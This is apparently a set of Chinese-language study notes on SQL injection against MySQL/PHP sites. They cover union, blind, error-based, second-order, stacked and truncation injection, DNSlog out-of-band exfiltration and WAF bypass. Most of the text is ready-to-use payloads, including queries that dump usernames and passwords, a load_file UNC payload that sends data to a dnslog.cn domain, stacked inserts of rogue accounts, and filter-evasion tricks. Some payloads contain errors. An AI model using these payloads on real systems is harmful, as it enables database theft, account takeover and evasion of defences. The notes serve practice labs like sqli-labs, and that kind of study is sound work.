?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字符型注入
当我们传入的参数在后端代码中被引号引起来的时候,我们称这种情况为字符型注入
看下面的例子(字符型注入)$query="select name,age,gender from t_students where id='{$_GET['id']}'";
字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。
注:数据库不同,字符串连接符不同, SQL server的连接符为“+”,Oracle连接符为“||”,MySQL连接符为空格
数字型注入
我们传入的参数在后端代码中没有被引起来的时候,我们称这种情况为数字型注入。当然之后参数类型为数字的时候,才存在区分数字型和字符型的情况$query="select name,age,gender from t_students where id={$_GET['id']}";
此时我们传入的参数直接与id进行比较
进行sql注入的首要操作就是对注入类型进行判断,即对sql语句的闭合方式进行判断
按照请求方法分
GET型注入
所谓GET型注入,顾名思义,即注入点的参数是同通过GET请求发送到后端进行处理的。其又可以分为下面两种情形:
url注入
即注入点在url中。举个例子,现在有一个网页,实现了根据学生学号,来查询学生基本信息的功能,学生的id信息是通过GET方法传参发送到后端的,其请求的url如下http://www.armandhe.com/query.php?id=20140379
后台处理代码如下$query="select name,age,gender from t_students where id={$_GET['id']}";
在该例中,我们通过修改url中的id参数的值,来控制前端页面的显示结果。因为没有过滤的原因,我们输入的任何参数值都将被直接拼接到SQL查询语句中,那么我们就可以通过联合查询注入的方式进行注入。
请求头注入
简单理解就是注入点在请求头中。还是上面的例子,不过url中的参数被后端进行了严格的过滤,不存在任何的注入方法,但后端在进行处理的时候不仅仅是使用了查询语句,还对我们请求头中的user-agent字段在数据库中进行了查询,来防止恶意爬虫,但憨憨程序员却没有对用户的请求头做过滤。于是乎我们可以在请求头中构造恶意代码。同理,不只是user-agent字段,其他字段包括referer等,都可以进行注入,后端处理逻辑如下$link = @mysqli_connect($host,$username,$password,$dbname,$port);
$userAgent=getallheaders()['User-Agent'];
$query="select * from AgentJudge where userAgent='{$userAgent}'";
$result=mysqli_query($link,$query);
if (mysqli_num_rows($result)!=0){
print('请不要恶意浏览本网页');
}
可以看到后端代码中并没有对user-agent字段做过滤,那么我们就可以直接开始构造注入语句
POST型注入
同理POST是不同于GET的另一种传参方式,大多出现在各种框处,比如登录框,查询框,和各种与数据库有交互的框。post注入和get注入基本没有本质的区别,除了在宽字节注入方面的操作有所区别,基本操作一致。
有回显的注入
联合查询注入
information_schema库简介
information_schema库是mySQL自带的一个库,其中包含了当前数据库管理系统的所有信息,但该数据库并不是一个实体的数据库,它不存储任何实际意义上的数据,它只是整个数据库管理系统的一个视图,当某个数据库的某个表发生变化时,information_schema库中相关的数据将同时发生变化。
在注入中,我们关注的是该库中的schemata、tables、columns三个表。他们分别存储了整个数据库管理系统的所有数据库信息,表信息,字段信息。在schemata表中,通过schema_name字段可以获取所有的数据库名;在tables,通过table_name、table_schema字段可以获取所有的表名与其对应的数据库名;在columns表中,通过columns、table_name、table_schema字段可以获取所有的字段名以及其所属表与数据库。
我们的注入思路就是先通过mysql的内建函数database(),获取当前数据库名,再通过tables表获取,所有的表信息,再通过columns表获取上述表所有的字段,最后通过字段查询想要的数据。
当然使用information_schema库查询信息有一个很重要的条件限制,那就是,需要当前连接数据库的用户具有读该数据库的权限,
应用场景UNION连续的几个查询的字段数一样且列的数据类型转换相同,就可以查询数据;
注入点有回显;
只有最后一个SELECT子句允许有ORDER BY;只有最后一个SELECT子句允许有LIMIT。
UNION注入的流程
graph LR
A[order by确定列数] --> B["查看返回点,选取可以显示数据的位置"]
B --> C["读库、读表、读数据(可执行任意语句)"]
注意:
为什么 order by 能确定列数?order by 的作用为根据一列或者多列的值,按照升序或者降序排列数据,当超出表的列数时发生报错。
为什么需要确定列数?UNION 内部的 SELECT 语句必须拥有相同的列(可用二分快速查找)
注入步骤
判断注入点是否存在
首先我们需要判断注入点是否存在,如果在页面的url中存在某些参数,比如下面这个URL中就存在一个id参数:http://xxxxx.xxx/?id=1
我们就可以尝试改变id的数值,将参数值+1或-1,然后查看页面展示的内容是否会变化,如果页面会发生变化,则我们就可以初步判断,这个id会带入数据库查询,查询后的内容会显示到页面中来。
猜测查询的SQL语句大致为:
select * from [表名] where id = 1;
常见注入点:1.GET/POST/PUT/DELETE参数
2.X-Forwarded-For
3.文件名
接下来我们就可以进行测试,看看我们传入的参数是否会被带入数据库查询,测试的方法如下:(这里也称为sql脱库即拿出数据库里面的数据)添加单引号
添加了单引号之后,如果页面中直接进行了报错,并且报错的信息显示到了页面中来,说明我们输入的单引号被带入了数据库查询,我们就可以直接判断此处存在sql注入漏洞。并且结合之前判断的页面是否有回显,就可以尝试进行联合查询注入或是报错注入。
添加逻辑运算
添加[and 1 = 1]和[and 1 = 2]
在添加逻辑运算之前我们需要判断或者猜测注入点的数据类型和闭合方式,并对语句进行相应的引号、括号闭合。
比如字符型我们可以直接添加and 1=1 ,而单验号闭合的字符型我们就需要添加 'and '1'=1 ,或 'and '1'=1' # 使用注释符号将后面的引号直接注释掉。
添加了逻辑运算符之后提交,因为1=1恒为真,而1=2恒为假,所以如果我们的输入带入了数据库,一定会影响到SQL语句的布尔状态,如果两次查询返回的页面不同,说明页面存在布尔状态,此处存在注入漏洞,可以考虑使用布尔盲注进行注入。
添加sleep( )函数
sleep()函数可以让程序在当前位置停留指定的时间,于是我们可以通过观察页面相应的时间来判断我们插入的参数是否会被带入数据库执行。
在参数后添加 and sleep(5) 然后观察页面响应时间是否明显变长,或直接在开发者工具中网络选项卡下观察页面的响应时间。如果页面响应时间确实按照我们的要求增加了5秒,则说明此处存在注入漏洞,我们可以考虑通过延时注入。
在这里我们需要知道,我们构建union select语句时,当前面的查询语句为假,也就是数据不存在时,union select之后查询出的结果就会显示在页面中。这里我们可以通过在前面查询语句中添加 and 1=2 使语句变假,也可以直接将id传入一个负数,来使语句变假。
STEP1:判断闭合符 STEP2:判断列数 联合查询会将两条查询语句的查询结果拼接到一起返回!于是反映出联合查询需遵守的一个规则便是,两条查询语句的查询字段数必须相等,于是乎在利用联合查询进行注入的时候,我们第一步要做的就是判断判断后端代码中的SQL查询语句的字段数。select id,username,passwd from t_user order by 4;order by +数字
通过页面状态查看有几列然后通过union select 判断回显位(注意判断回显位的时候,前面查询的值要为假,不然回显位会被前面查询的结果所占用,导致看不到回显位)
靶场经验(如果order by被过滤了,可以通过 group by 来判断,或者 union select 1,2,3,4,5,6, 这两的列数查询判断网页状态)
STEP 3:查数据库名注意:(union 和union all 的区别 union all 显示重复的值,而union不显示重复的值,当union select 用不了的时候可以通过union all 来查询)?id=-1 union select 1,database(),1--+
注意id=-1,此处id的值必须是一个在数据库中id字段不存在的值,否则联合查询第一条语句的查询结果将占据显示位,我们需要的第二条查询语句的查询结果就不能正常显示到浏览器中。 STEP 4:查表名 假如上一步查询出来的数据库名为security?id=-1' union select 1,group_concat(table_name),1 from information_schema.tables where table_schem='security'--+
注意第二条查询语句我们payload插入位置的字段一定要在前端有回显,否则我们将不能查看到查询结果。 STEP 5:查列名 假如上一步查询出来的表名中有user表?id=-1' union select 1,group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='user'--+
STEP 6:查数据 假如上一步查询出来的字段有username与password?id=-1' and select 1,group_concat(concat(0x7e,username,0x7e,passwd,0x7e)),1 from user--+
盲注
盲注又分为布尔盲注与时间盲注两种类型
布尔盲注
基本原理是:通过控制通过and连接起来的子句的布尔值,来控制页面的显示结果来判断and后子句的真实性,bool盲注适用于bool判断的结果能够回显在界面内容中的情况,例如界面文本的变化。举个例子?id=1' and substring(database(),1,1)='s'--+
根据and的特性,当and运算符左边的计算结果为真时会继续判断后边的运算结果,如果右边的结果也为真则整个语句为真,当右边的语句为假时,则整个语句为假;当and左边的运算结果为假时,则直接判断整个语句为假,举例如下1==1 and 1==2 //false 1==1为true,继续判断1==2的结果为false,整体为false
1==1 and 2==2 //true 1==1为true,继续判断2==2的结果为true,整体为true
1==2 and 1==1 //false 1==2为flse,直接判断整体为false,不再对右边的内容进行判断
1==2 and 1==2 //fale 1==2为flse,直接判断整体为false,不再对右边的内容进行判断
利用and的这个特性,id=1恒为真的时候,and右边substring子句的执行结果将直接影响这个SQL查询语句的结果,即substring子句为真,整个查询语句为真,页面正常回显内容,当substring子句为假的时候,整个查询语句为假,页面不正常回显内容。 在上面我们构造的查询语句中,对数据库名的第一个字段进行了判断,假如判断正确,那么接着对第二个字符进行判断?id=1' and substring(database(),1,2)='se'--+
直到数据库名的最后一个字符被找出来。可以看到这个过程耗时耗力,我们要对所有可能的大小写字母、数字、特殊字符进行枚举,所以可以考虑透过自动化脚本的方式来进行判断。这里对脚本的编写推荐适用python语言,其request可以很方便的构造请求。 要获取表名、字段名、数据,只需将上述database()替换为对应payload即可,如要获取表名1' or length((select database()))=8# //判断数据库名字长度
1' or ascii(substr((select database()),1,1))=115# //判断数据库名
1' or (select count(table_name) from information_schema.tables where table_schema=database())=4# //判断表的个数
1' or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117# //判断表的名字
1' or (select count(column_name) from information_schema.columns where table_name='users')=14# //判断列的个数
1' or ascii(substr((select column_name from information_schema.columns where table_name='users' limit 12,1),1,1))=117# //判断列的名字
1' or (select count(username) from users)=13# //判断用户名和密码的个数
1' or ascii(substr((select username from users limit 0,1),1,1))=68# //判断用户名和密码
//or当然在不对 1 进行判断的情况下可以换为and
时间盲注 时间盲注与布尔盲注有异曲同工之妙,只不过判断语句正确与否的标志不再是查询结果有没有被正确得回显,而是网页的响应时间。看下面语句:?id=1' and if (length(database())<20,sleep(5),1)--+
上例中,通过length函数获取了当前数据库的长度并与20进行比较,如果数据库名长度小于20,那么则延时5秒向后端脚本程序回显查询结果,如果数据库名不小于20,则直接回显结果。延时5秒的结果表现在客户端就是当前浏览器tab的标题部分会一直转圈圈。然后通过二分法。即将上述语句中的20改为10继续测试,如果不小于10,则在将10修改为15,按照此规律我们逐渐紧逼找到当前数据库名的真正长度。数据库名的长度确认之后,我们就要开始获取数据库名的值了:?id=1' and if (substring(database(),1,1)='s',sleep(5),1)--+
通过上述布尔盲注中讲到的方法,最终获取到数据库名。当然上面的语句我们还有其他的变种,如:?id=1' and if (ascii(substring(database(),1,1))=67,sleep(5),1)--+ //通过ascii码来比较
?id=1' and if (hex(substring(database(),1,1))=FF,sleep(5),1)--+ //通过十六进制值来比较
?id=1' and if (mid(database(),1,1)='s',sleep(5),1)--+ //使用mid函数代替substring
?id=1' and if (substr(database(),1,1)='s',sleep(5),1)--+ //和substring是等效的
?id=1' and if (left(database(),2)='se',sleep(5),1)--+ //截取左边两个个字符
?id=1' and if (right(database(),2)='ty',sleep(5),1)--+ //截取右边两个字符
要获取表明、字段名、数据只需将上面payload中的database()替换为联合查询注入中的payload即可,如要获取表名,则构造如下语句:?id=1'and if(length((select database()))>9,sleep(5),1)--+ //长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+//名字
?id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1))=5,sleep(5),1)--+//长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()limit 3,1),1,1))>99,sleep(5),1)--+ //名字
?id=1' and if((select count(column_name) from information_schema.columns where table_name='users'),sleep(5),1)=14--+ //个数
?id=1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 12,1),1))=8,sleep(5),1)--+ //长度
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 12,1),1,1)),sleep(5),1)=117--+ //列名
?id=1' and if((select count(username) from users)>13,sleep(5),1)--+ //多少个用户名
?id=1' and if(length(substr((select username from users limit 0,1),1))=4,sleep(5),1)--+ //用户名或者密码的长度
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)--+ //每个用户名和密码的名字
1、mid()函数
此函数为截取字符串一部分。MID(column_name,start[,length])

2、substr()函数
用法:substr(string string,num start,num length);
string为字符串;start为起始位置;length为长度。
注意:mysql中的start是从1开始的。
例:substr(database(),1,1)='a'
通过=右侧字母的改变和表达式的真假判断库名
3、left()函数
此函数用法:left(a,b)
从左侧截取 a 的前 b 位
例:left(database(),1)='a'
通过=右侧字母的改变和表达式的真假判断库名
报错注入
报错注入就是利用数据库的某些正常的机制,人为得制造错误,将查询得结果携带在报错信息中回显到客户端。什么场景下有用?
查询不回现内容,但会打印错误信息
Update、Insert等语句,会打印错误信息(前面的union 不适合 update 语句)
这种场景的源码是怎样的?
if($row)
{
echo 'Your Login name:'.roe['username'];
}
else
{
print_r(mysql_error());
}当执行的SQL语句出错时返回错误信息,在错误信息中返回数据库的内容,即可实现SQL注入。
那么实现SQL注入的难点就在于构造语句,制造错误,让错误中包含数据库内容。
这里介绍3个函数引起报错,其他的函数类似。
floor() select count() from information_schema.tables group by concat((select version()),floor(rand(0)2)) 注: group by对rand()函数操作时产生了错误
extractvalue() extractvalue(1,concat(0x7e,(select user()),0x7e))
注: xpath语法导致的错误
updatexml() select updatexml(1,concat(0x7e,(select version()),0x7e),1)
注: xpath语法导致的错误
updatexml注入 updatexml函数接受三个参数,第一个参数是一个xml格式的字符串,第二个参数是符合xpath语法规范的字符串,第三个参数是要替换成的字符串。该函数的功能就是从第一个xml字符串中通过xpath语法选择匹配的部分替换成第三个参数的内容。并且当xpath语法出现错误的时候,将会回显数据,于是我们将我们的查询语句放到第二个参数中,作为错误回显的一部分外带到客户端浏览器。比如需要获取库名,则构造如下语句?id=1' and updatexml(1,concat(0x7e,database()),1)--+ //and可以被替换为or,如果为or,则还有一处需要修改,请自行思考(我估计是改为-1即可)
注意,concat是必须的,0x7e也是必须的,否则将不会回显错误信息,0x7e可以被别的十六进制数代替,但是有限制的,亲们可以自行尝试。且0x7e位置上的数字转换后必须为字符型,concat只能连接字符串,不能连接数字。获取表名、列名、数据的方法参见前文描述,这里不再赘述。
extractvalue注入 该函数与updatexml很像,但他只接受两个参数,且其定义与updatexml一样。?id=1' and extractvalue(1,concat(0x7e,database()))--+ //and可以被替换为or,如果为or,则还有一处需要修改,请自行思考
主键重复报错 看下面的例子?id=1' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))alias_a from information_schema.tables group by alias_a)b)--+group by子句能够根据一个或多个列对结果集进行分组
floor函数的功能为向下取整
rand函数将根据传入的随机数种子生成一个0-1之间的随机数,当传入的种子固定的时候,随机数的规律也就固定下来。
count为聚合函数,配合group by 子句,将对分组字段相同的值进行计数。
分析上面的例子将要达到的查询效果是:从information_schema.tables表中根据拼接字段alias_a对结果集进行计数输出。
在上例中rand函数生成的随机数乘以2的范围就是0-2,那么再使用floor函数进行向下取整,其值就只能是0或者1。同时因为group by 的特性使得其在进行分组的时候会对后面的字段进行两次运算,group by 在进行分组的时候,会生成一张虚拟表记录数据,那么假设一种情况,当group by进行第一次运算的时候,发现虚拟表中没有相同的数据,准备进行插入操作,但因为rand函数的随机性,导致在第二次运算的时候产生的结果在虚拟表中已经存在,那么在插入该数据的时候就会产生主键冲突,从而产生报错信息,将我们需要的数据通过报错信息外带。 下例是查询数据库的payload,查询表名的方法如下,其他信息的查询方法请自行思考?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))alias_a from information_schema.tables group by alias_a)b)--+
可以总结出来一个模板?id=1' or (select 1 from (select count(*),concat((payload),floor(rand(0)*2)) from information_schema.tables group by alias_a)b)--+
只需将上面模板中的内容替换成为我们的查询payload即可,alias_a与b均是字段别名
几何函数注入
可以使用的几何函数geometrycollection:存储任意集合图形的集合
multipoint:存储多个点
polygon:多边形
multipolygon:多个多边形
linstring:线
multilinestring:多条线
point:点
payload:select * from test where id=1 and mutilinestring((select*from(select * from (select user())a)b))) //构造语法都是这样。
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))
只要上述函数中的参数不是集合形状数据,就会报错。有mysql版本限制。以上列表中基于geometric(集合函数)的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。
基于溢出的注入
~:按位取反(得到数据的二进制后,按位取反) exp(3):自然对数的3次方,很容易就溢出了select * from mysql.user where id=1 and exp(~(select * from (select user())a));
~后的内容被取反后会得到一个很大的数,再做为自然对数的指数,得到的值一定会溢出,从而报错将查询结果显示出来.
基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。
二次注入(二阶注入)
二阶注入是指已存在的用户输入的数据被存储到数据库中,在用户再次使用该数据的时候导致的注入,这种注入类型是很难通过工具扫描或者黑盒测试发现的,往往需要通过白盒测试才能发现。比如现在有一个网站提供了用户注册与修改密码的功能。在用户登录的时候,通过函数对用户的输入进行了转义,如专有名词:
白盒测试也称为结构测试,主要用于检测软件编码过程中的错误。程序员的编程经验、对编程软件的掌握程度、工作状态等因素都会影响到编程质量,导致代码错误。
黑盒测试又称为功能测试,主要检测软件的每一个功能是否能够正常使用。在测试过程中,将程序看成不能打开的黑盒子,不考虑程序内部结构和特性的基础上通过程序接口进行测试,检查程序功能是否按照设计需求以及说明书的规定能够正常打开使用。$link = @mysqli_connect($host,$username,$password,$dbname,$port);
$username=mysql_real_escape_string($_POST['username']);
$passwd=mysql_real_escape_string($_POST['passwd']);
$repasswd=mysql_real_escape_string($_POST['repasswd']);
if ($passwd==$repasswd){
$query="select * from t_user where username='{$username}' and passwd=='{$passwd}'";
$res=@mysqli_query($link,$query);
if (mysqli_num_rows($res)==1){
//登录成功
}else{
die('用户名或密码错误')
}
}else{
die("两次输入密码不一致")
}
可以看到在登录界面,用户名与密码被mysql_real_escape_string函数做了转义,那么我们输入的单引号或者双引号就失去了作用,于是我们不能通过简单一次注入获取数据。再看用户注册界面的代码$link = @mysqli_connect($host,$username,$password,$dbname,$port);
$username=mysql_escape_string($_POST['username']);
$passwd=mysql_escape_string($_POST['passwd']);
$repasswd=mysql_escape_string($_POST['repasswd']);
if ($passwd==$repasswd){
$query="select * from t_user where username='{$username}'";
$res=@mysqli_query($link,$query);
if (mysqli_num_rows($res)!=0){
//当前用户已存在
}else{
$query="insert into user values ('{$username}','{$passwd}')";
$res=@mysqli_query($link,$query);
if (mysqli_affected_rows=1){
//新增用户成功
}else{
//未知错误,请检查后再输入
}
}
}else{
die("两次输入密码不一致");
}
可以看到注册界面的输入也被转义了,但是有一点,需要明确的是,经过msql_real_escape_string和addsashes转义的字符在插入到数据库中之后,会被解转义,不然我们注册的用户名就变了。利用这个特性我们就可以搞事情了。在用户修改密码时由这样的语句$link = @mysqli_connect($host,$username,$password,$dbname,$port);
$username=mysql_escape_string($_POST['username']);
$oldpasswd=mysql_escape_string($_POST['oldpasswd']);
$newpasswd=mysql_escape_string($_POST['newpasswd']);
$repasswd=mysql_escape_string($_POST['repasswd']);
//首先判断用户名密码是否正确
$query="select * from t_user where username='{$username}' and passwd='{$oldpasswd}'";
$res=@mysqli_query($link,$query);
if ($newpasswd==$repasswd && mysqli_num_rows($res)!=0){
$query="update t_user set passwd='{$newpasswd}' where username='{$username}'";
$res=@mysqli_query($link,$query);
if (mysqli_affected_rows=1){
//密码修改成功
}else{
//未知错误,请检查后再输入
}
}else{
die("两次输入密码不一致或者用户名或者老密码输入错误");
}
假如我们知道有一个用户名为admin的管理员账户,那么我们首先可以注册一个admin'#的账号,’#根据实际情况确定,密码为123456,然后我们正常登录到我们新注册的账号,跳转到修改密码的界面,然后输入用户名与密码之后点击确认,这时候后台的update语句变成了$query="update t_user set passwd=654321 where username='admin'#'";
所以这时候就修改了账户名为admin的密码,这时候我们就可以用我们的新密码直接登录管理员账户admin了。大家可以到sqli_labs靶场第24关进行试验。
堆叠注入
mysqli_multi_query()函数:
Stackedinjections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 unioninjection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
使用条件
mysqli_multi_query()执行多条查询的函数——防止注入改成mysqli_query()函数
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
我们就可以在普通注入的后面,写上一条任意的SQL语句,例如插入数据,或者删库。?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
//执行完上述语句,我们得知了列名,此时我们根据具体列名,进行sql查询,删除等语句的执行
?id=-1' ;insert into users(id,username,password)values(115,'1234','4567');
?id=-1' ;insert into users(id,username,password)values(100,'772211','112277');
随后执行?id=56,可以看到自己成功插入了密码用户名
mysql长字符截断
mysql中有一个环境变量配置sql_mode,定义了mysql应该支持的sql语法,数据校验等,可以通过以下方式查看当前数据库使用的sql_mode:select @@sql_mode

具体的参数解释见参考资料5:MySQL的sql_mode模式,mysql5.0版本以上支持了三种sql_mode模式,如下:

默认情况下,mysql选择使用的是严格模式,此时如果插入的数据超过限制长度,则会报错error(如果超出的长度是由空格引起的,可能只会警告warning,实际操作证明,三种模式下,如果插入的超出长度是由空格引起的,并不会报错,仅仅会警告,本节最后给出结果):describe users;
insert into users values (1,'admin','123');#正常插入
insert into users values (2,'admin ','123');
#username限制7个字符,这里插入8个字符(后3个为空格,插入成功,出现警告),出现截断情况
insert into users values (3,'admin x','1234');#报错,提醒超长字符

对于id=2的插入,可以查看其usernsme的长度,发现其长度为7:select length(username) from users where id = 2;
下面重点讨论当sql_mode模式为ANSI时引起的长字符截断问题: 首先将sql_mode设置为ANSI模式:SET @@sql_mode=ANSI;接下来依次创建table,插入数据,这里发现username='admin x’也插入成功了:create table users(
-> id int(11) NOT NULL,
-> username varchar(7) NOT NULL,
-> password varchar(12) NOT NULL);#创建users表格
insert into users values (1,'admin',123);#正常插入
insert into users values (2,'admin ',1234);#警告,插入成功
insert into users values (3,'admin x',12345);#警告,插入成功

观察一下各个用户的长度,可以发现id=2,id=3的username均被截断,长度都变成了7:select *from users;
select length(username) from users where id =1;
select length(username) from users where id =2;
select length(username) from users where id =3;

如果此时选择username= 'admin’会出现下面情况:select username from users where username = 'admin';

此时,我们只查询了用户名为admin的用户,但另外两个长度不一致的用户却出现,这会造成安全问题。假如,某个管理员的用户名就是admin,他采用下面的语句登录: $sql = "select count ( * ) from users where username = ‘admin’ and password = ‘*’ "; 此时,我们只要伪造用户’admin x’便可以获得管理员的信息,从而进入后台。
补充: 对于三种模式下的空格插入溢出,并不会报错,结果如下:SET @@sql_mode=STRICT_TRANS_TABLES;
insert into users values (4,'admin ',12345);
insert into users values (5,'admin x',12345);
SET @@sql_mode=TRADITIONAL;
insert into users values (6,'admin ',123456);
insert into users values (7,'admin x',123456);

由此可见,预防长字符截断问题可能需要从其他地方入手,如账号由管理员分配并限制更改;对数据库内容加密,即使获取到相关信息也无法破解。
假设管理员的账号就是admin,那么我们就去注册一个admin 的用户.(PS:后面有哦很多空格,等待被截取掉就直接替换掉admin这个账号了),也就是我们可以登录账户名为admin的账号了。
无回显的注入
DNS Log
我们在发起网络请求的时候,第一步就是解析域名,当域名被成功解析的时候,该域名解析结果将被域名服务器记录下来,我们利用的正是这一点,将我们想要的数据放在域名的下一级域中外带到域名服务器,通过查询域名服务器的日志,从而获得我们想要的数据,如我们使用www.dnslog.cn 这个网站来测试
ping命令测试:
点击获取子域名获取一个包含三级域名的域名给我们,这里我们使用ping命令做测试ping %USERNAME%.4ap7wz.dnslog.cn
当ping通的时候,我们点击该网站的刷新记录就可以看到我测试主机的用户名ChinaArmand了。该注入方法适用于需要时间盲注、没有回显的注入场景。构造mysql语句如下?id=1' and (select load_file(concat('\\\\',(select database()),'.4ap7wz.dnslog.cn\\abc')))
在到www.dnslog.cn看看是不是获取到了我们的数据库名,我们可以看到上面的语句使用了\,这是windowsUNC路径的表示方法,所以在SQLI中DNSLog只适用于windows平台的服务器 。 unc路径,是在windows平台上访问局域网网络资源的一种路径表示方法,我们在window上使用的文件共享服务路径就是通过这种方式,\172.16.11.24 这也就解释了为什么只能在window平台的服务器上有效,另外多出来的两个\表示转义。load_file 受mysql配置文件中secure_file_priv选项的限制,
secure_file_priv= //允许所有
secure_file_priv="G:\" //允许加载G盘
secure_file_priv=null //拒绝
sql-无回显注入测试:
DNSlog 介绍:
首先我们知道DNS是起ip与域名的解析的服务,通过ip可以解析到对应的域名。DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件,
DNSlog回显原理:
首先了解一下多级域名的概念,我们知道因特网采用树状结构命名方法,按组织结构划分域是一个名字空间中一个被管理的划分,域可划分为子域,子域再可被划分为多级域名称为一级域名,二级域名,三级域名,从一个域名地址来从右到左依次是顶级域名,二级域名,三级域名,例如 gaobai.kxsy.com,
通俗的说就是我有个域名kxsy.work,我将域名设置对应的ip 2.2.2.2 上,这样当我向dns服务器发起kxsy.work的解析请求时,DNSlog中会记录下他给kxsy.work解析,解析值为2.2.2.2,而我们这个解析的记录的值就是我们要利用的地方,这个过程被记录下来就是DNSlog,
DNSlog 应用:
1.sql布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显可利用NDSlog 2.无回显的命令执行 推荐三个大众化的免费dns解析记录网站http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
DNSlog回显注入条件:
1.数据库root权限, 2.数据库可读写权限,secure_file_priv值为空,上期笔记有说明, 3.windows系统,
DNSlog-sql注入:
1.注册一个dns解析服务,利用唯一标识符,以无回显sql注入为例

2.注入测试 需要闭合语句 替换标识符 利用盲注回显?id=1' and if((select load_file(concat('\\\\',(select database()),'.tlyypi.dnslog.cn\\abc'))),1,0)--+

在回显数据时,域名能够接受的字符是有条件限制的,某些不适合作为域名的特殊字符可能会被屏蔽掉,针对这种情况我们也可以base64编码后再进行请求。
SQLI防御及绕过
WAF产生的背景:
传统防火墙 ( firewall ) 阻断数据包工作网络层Web服务器功能丰富成为攻击目标 (应用层)waf由此而生WAF(web application rewall)称为web应用防火墙,他是通过执行一系列针对HTTP,HTTPS的安全策略,来专门对web应用提供保护的一款产品。WAF是基于规则的防护,可以提供各种web应用的安全规则,waf生产商去维护这个规则库,并实时为其更新,用户按照这些规则,可以对应用进行全方面的保护
架构层绕过waf
用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,绕过waf就不在话下了在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入
资源限制角度绕waf
由于数据太大,会导致waf无法将所有的数据都检测完,这个时候会忽略掉我们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源数据,逃逸sql注入语句。
协议层面绕过
基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf参数污染:有的waf仅对部分内容进行过滤,例如:index.php?id=1&id=2&id=3这样的参数id=1,waf也仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入
规则层面绕waf
等价函数 :
hex()、bin() ==> ascii()
sleep() >benchmark()
concat_ws()>group_concat()
mid()、substr() ==> substring()
@@version ==> version()
等价符号 :
and和or不能使用可以尝试下&&和||,还有=不能使用的情况可以考虑尝试<、>因为如果不小于又不大于那便是等于。逻辑异或xor,like(可以)特殊符号:使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用, group by 9(可以)
缓冲区溢出:
and(select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version() --+
asp允许每个字符前面添加一个%号SELECT FIELD FROM TABLE ààà %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
1.嵌套及大小写混淆绕过
如果后台存在这样的语句$arg=str_replace('union','',$_GET['id']) //将union替换为空
或者
$arg=preg_replace('/union/i','',$_GET['id']) //将union替换为空,且不区分大小写
我们可以这样构造payload?id=1' ununionion select 1,2,3%23 //上面两种用法均可这样绕过
str_replace函数时不区分大小写的我们还可以通过UNion来绕过
?id=1' UNion select 1,2,3 --+
2.空格被过滤的绕过
通过内内联注释 部分程序过滤了空格,将输入限制为单个,则可以通过内联注释绕过 还可通过%a0 ,%09,%0a,%0b,%0c,%0d绕过?id=1' /**/union/**/order/**/by/**/2 %23
//这里/* */中间部分的符号因题而异,可能会有字符的过滤,需要一个一个尝试,或者bp爆破
通过括号–emmmmm基本没啥用,就当作SQL语句的拓展吧(倒是可以跟报错注入利用,毕竟报错注入需要的空格少) 通过括号代替空格有点鸡肋,关键字是不能被括起来的,否则会报错,比如order by 3不能写作`(order)(by)(3)基本没啥用。
3.逗号被过滤的绕过
select substr(database() from 1 to 1);
select mid(database() from 1 to 1);
